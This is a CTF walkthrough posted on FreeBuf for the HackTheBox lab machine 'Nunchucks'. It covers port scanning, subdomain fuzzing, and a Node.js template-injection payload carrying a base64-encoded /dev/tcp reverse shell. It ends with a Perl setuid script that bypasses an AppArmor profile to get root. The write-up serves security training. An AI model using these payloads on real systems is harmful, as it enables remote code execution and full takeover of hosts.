freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

[Meachines] [Easy] Nunchucks Express Nodejs SSTI+AppArmor Bypass+Perl权限提升
maptnh 2025-02-05 21:14:11 7474
所属地 福建省

Information Gathering

IP AddressOpening Ports
10.10.11.122TCP:22,80,443

$ ip='10.10.11.122'; itf='tun0'; if nmap -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 6c146dbb7459c3782e48f511d85b4721 (RSA)
|   256 a2f42c427465a37c26dd497223827271 (ECDSA)
|_  256 e18d44e7216d7c132fea3b8358aa02b3 (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://nunchucks.htb/
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
| tls-alpn: 
|_  http/1.1
| tls-nextprotoneg: 
|_  http/1.1
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
|_http-title: 400 The plain HTTP request was sent to HTTPS port
| ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates/stateOrProvinceName=Dorset/countryName=UK
| Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb
| Not valid before: 2021-08-30T15:42:24
|_Not valid after:  2031-08-28T15:42:24
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Express Nodejs SSTI Injection

# echo "10.10.11.122 nunchucks.htb" >> /etc/hosts

image.png

$ ffuf -u https://nunchucks.htb/ -H 'Host: FUZZ.nunchucks.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -ac

image-1.png

# echo "10.10.11.122 store.nunchucks.htb" >> /etc/hosts

image-2.png

view-source:https://store.nunchucks.htb/assets/js/main.js

image-3.png

POST /api/submit HTTP/1.1
Host: store.nunchucks.htb
Cookie: _csrf=XKgwzoMJoUdBmm6JQI1z-tdr
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
If-None-Match: W/"2d-pR4kyQHkx2a7XX4cK6yb+54WzcA"
Te: trailers
Content-Type: application/json
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31


{"email": "test@example.com"}

image-4.png

{"email": "{{7*8}}"}

image-5.png

{
"email": "{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjI4LzQ0NSAwPiYxCg==|base64 -d|bash')\")()}}"
}

image-6.png

User.txt

7cd2ec2b576f3a1054c8d5ece6da747a

Privilege Escalation:AppArmor Bypass && Perl

image-7.png

image-8.png

$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "ls /"'

image-9.png

AppArmor 安全模块的配置文件目录,AppArmor 是 Linux 系统中的一个强制访问控制(MAC)系统,用于限制进程的行为并提高系统的安全性。它通过使用配置文件来指定每个应用程序可以访问哪些资源(如文件、网络等),从而增强系统的安全性。

$ cat /etc/apparmor.d/usr.bin.perl

image-10.png

AppArmor 配置文件限制了 Perl 程序的权限,允许执行某些命令并访问指定目录,但禁止访问敏感文件和目录。

禁止读取 /etc/nsswitch.conf 文件。
禁止访问 /root/ 目录及其内容。
禁止访问 /etc/shadow 文件。
限制了某些命令(如 id、ls、cat、whoami 和 backup.pl)的权限,仅允许执行并读取。

PS:AppArmor与Perl之间存在BUG

问题:当脚本文件中包含 shebang 行(如 #!/usr/bin/perl)时,即使 AppArmor 配置文件已经禁止了 perl 的执行,脚本仍然能够执行。这是因为脚本文件在执行时会先由操作系统解析并使用指定的解释器(如 perl),而不是直接执行脚本文件本身。这样,AppArmor 的配置文件并没有被应用到解释器的执行上。

原因:问题的根本原因是,AppArmor 无法区分脚本本身和由脚本调用的解释器。执行脚本时,操作系统会先通过 shebang 找到并启动解释器(如 perl),然后解释器再执行脚本。由于 AppArmor 配置文件是基于执行程序(如 perl)来设定的,而不是针对脚本文件本身,因此即使脚本本身受到 AppArmor 限制,启动脚本的解释器仍然能够绕过这个限制。

https://bugs.launchpad.net/apparmor/+bug/1911431

$ cd /tmp;set +H;echo -e "#!/usr/bin/perl\nuse POSIX qw(setuid);\nPOSIX::setuid(0);\nexec \"/bin/bash\";" > root.pl ;chmod +x root.pl;./root.pl

image-11.png

Root.txt

# web安全 # CTF
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 maptnh 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
HackTheBox
maptnh LV.9
Ценность жизни выше, чем кража данных.
  • 342 文章数
  • 63 关注者
[CISSP] [7] PKI和密码应用
2025-04-03
[CISSP] [6] 密码学和对称密钥算法
2025-04-03
[CISSP] [5] 保护资产安全
2025-04-02
文章目录